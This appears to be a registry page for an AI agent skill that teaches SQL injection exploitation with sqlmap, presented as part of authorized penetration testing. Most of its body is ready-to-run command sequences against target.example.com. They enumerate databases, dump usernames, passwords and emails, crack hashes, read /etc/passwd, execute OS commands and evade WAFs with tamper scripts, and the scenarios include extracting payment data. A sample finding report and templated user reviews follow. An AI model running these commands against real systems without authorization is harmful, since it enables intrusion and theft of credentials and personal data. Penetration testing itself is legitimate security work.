Detecting and exploiting SQL injection vulnerabilities using sqlmap to extract database contents during authorized penetration tests.
Works with
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionexploiting-sql-injection-with-sqlmapExecute the skills CLI command in your project's root directory to begin installation:
Fetches exploiting-sql-injection-with-sqlmap from mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate exploiting-sql-injection-with-sqlmap. Access via /exploiting-sql-injection-with-sqlmap in your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Submit your Claude Code skill and start earning
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
0
total installs
0
this week
8.6K
GitHub stars
0
upvotes
Run in your terminal
0
installs
0
this week
8.6K
stars
| name | exploiting-sql-injection-with-sqlmap |
| description | Detecting and exploiting SQL injection vulnerabilities using sqlmap to extract database contents during authorized penetration tests. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | - penetration-testing - sql-injection - sqlmap - owasp - database-security - web-security |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 |
pip install sqlmap or apt install sqlmap on Kali LinuxManually browse the application and identify parameters that interact with the database. Use Burp Suite to capture requests.
# Start Burp Suite proxy and capture requests
# Look for parameters in URLs, POST bodies, cookies, and headers
# Example target URL with a suspected injectable parameter:
# https://target.example.com/products?id=1
# Test manually for basic SQL injection indicators
curl -k "https://target.example.com/products?id=1'"
# Look for SQL error messages like:
# - "You have an error in your SQL syntax"
# - "ORA-01756: quoted string not properly terminated"
# - "Microsoft SQL Native Client error"
Launch sqlmap against the suspected injection point to confirm the vulnerability and identify the database type.
# Basic GET parameter test
sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent
# For POST requests (save the request from Burp Suite to a file)
sqlmap -r request.txt --batch --random-agent
# Test specific parameter in a POST request
sqlmap -u "https://target.example.com/login" \
--data="username=admin&password=test" \
-p "username" --batch --random-agent
# Test with cookie-based injection
sqlmap -u "https://target.example.com/dashboard" \
--cookie="session=abc123; user_id=5" \
-p "user_id" --batch --random-agent
Once injection is confirmed, enumerate databases, tables, and columns.
# List all databases
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent
# List tables in a specific database
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db --tables --batch --random-agent
# List columns in a specific table
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users --columns --batch --random-agent
Dump the contents of sensitive tables to demonstrate impact.
# Dump specific columns from a table
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users -C "username,password,email" \
--dump --batch --random-agent
# Dump with row limit to avoid excessive data extraction
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users --dump --start=1 --stop=10 \
--batch --random-agent
# Attempt to crack password hashes automatically
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users -C "username,password" \
--dump --batch --passwords --random-agent
Assess the full impact by testing OS-level access and file operations.
# Check current database user and privileges
sqlmap -u "https://target.example.com/products?id=1" \
--current-user --current-db --is-dba --batch --random-agent
# Attempt to read server files (if DBA privileges exist)
sqlmap -u "https://target.example.com/products?id=1" \
--file-read="/etc/passwd" --batch --random-agent
# Attempt OS command execution (MySQL with FILE privilege)
sqlmap -u "https://target.example.com/products?id=1" \
--os-cmd="whoami" --batch --random-agent
When Web Application Firewalls or input filters block basic payloads, use tamper scripts.
# Common tamper scripts for WAF bypass
sqlmap -u "https://target.example.com/products?id=1" \
--tamper="space2comment,between,randomcase" \
--batch --random-agent
# For specific WAF bypass (e.g., ModSecurity)
sqlmap -u "https://target.example.com/products?id=1" \
--tamper="modsecurityversioned,modsecurityzeroversioned" \
--batch --random-agent
# List all available tamper scripts
sqlmap --list-tampers
Document findings and clean up any artifacts.
# sqlmap stores results in ~/.local/share/sqlmap/output/
# Review the target output directory
ls -la ~/.local/share/sqlmap/output/target.example.com/
# Export results with specific output directory
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users --dump \
--output-dir="/tmp/pentest-results" \
--batch --random-agent
# Clean sqlmap session data after engagement
sqlmap --purge
| Concept | Description |
|---|---|
| Union-based SQLi | Uses UNION SELECT to append attacker query results to the original query output |
| Blind Boolean SQLi | Infers data one bit at a time by observing true/false application responses |
| Blind Time-based SQLi | Uses database sleep functions (e.g., SLEEP(5)) to infer data based on response delays |
| Error-based SQLi | Extracts data through verbose database error messages returned in HTTP responses |
| Stacked Queries | Executes multiple SQL statements separated by semicolons for INSERT/UPDATE/DELETE operations |
| Out-of-band SQLi | Exfiltrates data via DNS or HTTP requests initiated by the database server |
| Tamper Scripts | sqlmap plugins that modify payloads to bypass WAFs and input sanitization filters |
| Second-order SQLi | Injected payload is stored and executed later in a different query context |
| Tool | Purpose |
|---|---|
| sqlmap | Automated SQL injection detection and exploitation framework |
| Burp Suite Professional | HTTP proxy for intercepting, modifying, and replaying requests |
| OWASP ZAP | Free alternative to Burp for web application scanning and proxying |
| Havij | Automated SQL injection tool with GUI (Windows) |
| jSQL Injection | Java-based GUI tool for SQL injection testing |
| DBeaver/DataGrip | Database clients for verifying extracted data structure |
A product detail page uses id parameter directly in SQL query. Use sqlmap to extract the full customer database including payment information to demonstrate critical business impact.
A login form concatenates user input into an authentication query. Exploit to bypass authentication and enumerate all user credentials stored in the database.
A search feature is vulnerable to SQL injection but protected by a WAF. Use tamper scripts like space2comment and between to encode payloads and bypass the filter rules.
A session cookie value is used in a database query on the server side. Use time-based blind injection techniques to extract data character by character.
## SQL Injection Finding
**Vulnerability**: SQL Injection (Union-based)
**Severity**: Critical (CVSS 9.8)
**Location**: GET parameter `id` at /products?id=1
**Database**: MySQL 8.0.32
**Impact**: Full database read access, 15,000 user records exposed
**OWASP Category**: A03:2021 - Injection
### Evidence
- Injection point: `id` parameter (GET)
- Technique: UNION query-based
- Backend DBMS: MySQL >= 5.0
- Current user: app_user@localhost
- DBA privileges: No
### Databases Enumerated
1. information_schema
2. target_app_db
3. mysql
### Sensitive Data Exposed
- Table: users (15,247 rows)
- Columns: id, username, email, password_hash, created_at
### Recommendation
1. Use parameterized queries (prepared statements) for all database interactions
2. Implement input validation with allowlists for expected data types
3. Apply least-privilege database permissions for the application user
4. Deploy a Web Application Firewall as defense-in-depth
5. Enable database query logging and monitoring for anomalous patterns
Prerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
Useful defaults in exploiting-sql-injection-with-sqlmap — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
Registry listing for exploiting-sql-injection-with-sqlmap matched our evaluation — installs cleanly and behaves as described in the markdown.
exploiting-sql-injection-with-sqlmap has been reliable in day-to-day use. Documentation quality is above average for community skills.
exploiting-sql-injection-with-sqlmap reduced setup friction for our internal harness; good balance of opinion and flexibility.
Registry listing for exploiting-sql-injection-with-sqlmap matched our evaluation — installs cleanly and behaves as described in the markdown.
exploiting-sql-injection-with-sqlmap has been reliable in day-to-day use. Documentation quality is above average for community skills.
Solid pick for teams standardizing on skills: exploiting-sql-injection-with-sqlmap is focused, and the summary matches what you get after install.
exploiting-sql-injection-with-sqlmap reduced setup friction for our internal harness; good balance of opinion and flexibility.
Useful defaults in exploiting-sql-injection-with-sqlmap — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
We added exploiting-sql-injection-with-sqlmap from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
showing 1-10 of 51